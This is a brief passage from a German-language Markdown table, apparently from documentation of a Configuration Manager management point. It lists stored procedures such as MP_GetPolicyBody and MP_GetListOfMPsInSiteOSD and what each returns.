| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Gibt den vollständigen Richtlinieninhalt zurück. |
|
||||
| `MP_GetListOfMPsInSiteOSD` | Wird durch den `MPKEYINFORMATIONMEDIA`-Pfad zurückgegeben. |
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user